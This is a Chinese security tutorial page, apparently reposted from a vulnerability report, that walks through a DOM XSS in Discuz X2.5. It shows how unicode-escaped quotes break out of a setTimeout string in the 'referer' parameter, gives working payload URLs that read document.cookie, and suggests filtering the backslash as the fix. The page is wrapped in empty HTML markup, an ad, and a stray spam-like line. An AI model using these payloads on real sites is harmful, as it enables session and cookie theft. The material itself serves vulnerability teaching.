<ruby id="bdb3f"></ruby>

    <p id="bdb3f"><cite id="bdb3f"></cite></p>

      <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
        <p id="bdb3f"><cite id="bdb3f"></cite></p>

          <pre id="bdb3f"></pre>
          <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

          <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
          <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

          <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                <ruby id="bdb3f"></ruby>

                ??一站式輕松地調用各大LLM模型接口,支持GPT4、智譜、豆包、星火、月之暗面及文生圖、文生視頻 廣告
                # 13\. Dom Xss 實例 [Discuz X2.5] > 來源:[13\. Dom Xss 實例 \[Discuz X2.5\]](http://www.wooyun.org/bugs/wooyun-2010-016437) ## 簡要描述 我們教程的 DOM XSS 就到這里了。最后再給大家送上一個實例。希望大家能夠體會到:XSS 的上下文非常重要,如何結合上下文, 利用未過濾字符,合理的構造,才是成功的關鍵。 ## 詳細說明 1\. 我們直接看實例點。 ``` http://www.discuz.net/connect.php?receive=yes&mod=login&op=callback&referer=aaaaaaaaaaa&oauth_token=17993859178940955951&openid=A9446B35E3A17FD1ECBB3D8D42FC126B&oauth_signature=a6DLYVhIXQJeXiXkf7nVdbgntm4%3D&oauth_vericode=3738504772&timestamp=1354305802 ``` 2\. 可以看到我們的 aaaaaaaaaa 在源代碼里有 2 處輸出。 ![image](https://box.kancloud.cn/2016-03-23_56f2504233636.jpg) 3\. 看第 2 處,我們需要用雙引號閉合,但是顯然 dz 不會給我們這么明顯的機會,被攔截了。 ![image](https://box.kancloud.cn/2016-03-23_56f250424a8ad.jpg) 4\. 我們把目光放在第一處,這一處很特殊,位于 setTimeout 函數的第一個參數里,setTimeout 的第一個函數會將字符串作為腳本來 執行。 我們把這一部分代碼提取出來。 ``` <script type="text/javascript" reload="1">setTimeout("window.location.href='http://www.discuz.net/./aaaaaaaaaaa';</script> ``` 我們首先能想到的是閉合掉 單引號, 但是這里單引號已經被過濾了。 ![image](https://box.kancloud.cn/2016-03-23_56f2504264d57.jpg) 5\. 那么是不是就沒有辦法了呢?我們可以看到 setTimeout 的第一個參數是字符串;我們前面的教程里說過一次,JS 字符串中,字符還可以表示為 unicode 的形式。即:單引號還可以表示為`\u0027` 或`\x27`。帶著這個想法,我們可以試試\有沒有被過濾。 幸運的是,這里還真沒過濾 `\` ![image](https://box.kancloud.cn/2016-03-23_56f2504276865.jpg) 6\. 接著我們就是構造代碼了。 首先寫好代碼。 ``` <script type="text/javascript" reload="1">setTimeout("window.location.href='http://www.discuz.net/./a';alert(document.cookie);a='';</script> ``` 將里面的引號變為`\u0027` ``` <script type="text/javascript" reload="1">setTimeout("window.location.href='http://www.discuz.net/./a\u0027;alert(document.cookie);a=\u0027';</script> ``` 代入到 URL 里。 ``` http://www.discuz.net/connect.php?receive=yes&mod=login&op=callback&referer=a\u0027;alert(document.cookie);a=\u%3Ba%3D\u0)0 027&oauth_token=17993859178940955951&openid=A9446B35E3A17FD1ECBB3D8D42FC126B&oauth_signature=a6DLYVhIXQJeXiXkf7nVdbgn tm4%3D&oauth_vericode=3738504772&timestamp=1354305802 ``` 可以看到彈出了 cookies。 ![image](https://box.kancloud.cn/2016-03-23_56f250428a37f.jpg) 7\. 其實這里存在一個問題。 這段 JS 代碼里,第一句是 `location.href="某個地址";` 上面我們所演示的,是一個 alert,暫停了 `location.href` 的發生。 如果我們把 `alert(document.cookie);` 換成插入某個 JS 文件的腳本代碼,就會出現問題。 即:JS 文件還沒來得及加載,`location.href="某個地址";` 這句就會被執行,從而跳轉到另外一個頁面了,繼而導致失效。 8\. 所以這里,我們有必要改進下執行 JS 的辦法。如下, 我們可以直接讓代碼變成執行 `location.href="javascript:alert(document.cookie)";` `location.href='原來的字符串'.替換(所有字符,"新的字符");` ``` <script type="text/javascript" reload="1">setTimeout("window.location.href='http://www.discuz.net/./a'.replace(/.+/,/javascript:alert(document.cookie)/.source);//';", 2000);</script> ``` 同上,替換單引號,加號什么的。 ``` <script type="text/javascript" reload="1">setTimeout("window.location.href='http://www.discuz.net/./a\u0027.replace(/.\u002b/,/javascript:alert(document.cookie)/.source);//';", 2000);</script> ``` 最后利用代碼。 ``` http://www.discuz.net/connect.php?receive=yes&mod=login&op=callback&referer=a\u0027.replace(/.\u002b/,/javascrip t:alert(document.cookie)/.source);//&oauth_token=17993859178940955951&openid=A9446B35E3A17FD1ECBB3D8D42FC126B&oauth_s ignature=a6DLYVhIXQJeXiXkf7nVdbgntm4%3D&oauth_vericode=3738504772&timestamp=1354305802 ``` 可以看到,效果一樣,這次就不會發生跳轉從而導致加載 JS 失敗咯。 ![image](https://box.kancloud.cn/2016-03-23_56f25042cb9f7.jpg) ## 修復方案 過濾掉 `\`
                  <ruby id="bdb3f"></ruby>

                  <p id="bdb3f"><cite id="bdb3f"></cite></p>

                    <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
                      <p id="bdb3f"><cite id="bdb3f"></cite></p>

                        <pre id="bdb3f"></pre>
                        <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

                        <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
                        <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

                        <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                              <ruby id="bdb3f"></ruby>

                              哎呀哎呀视频在线观看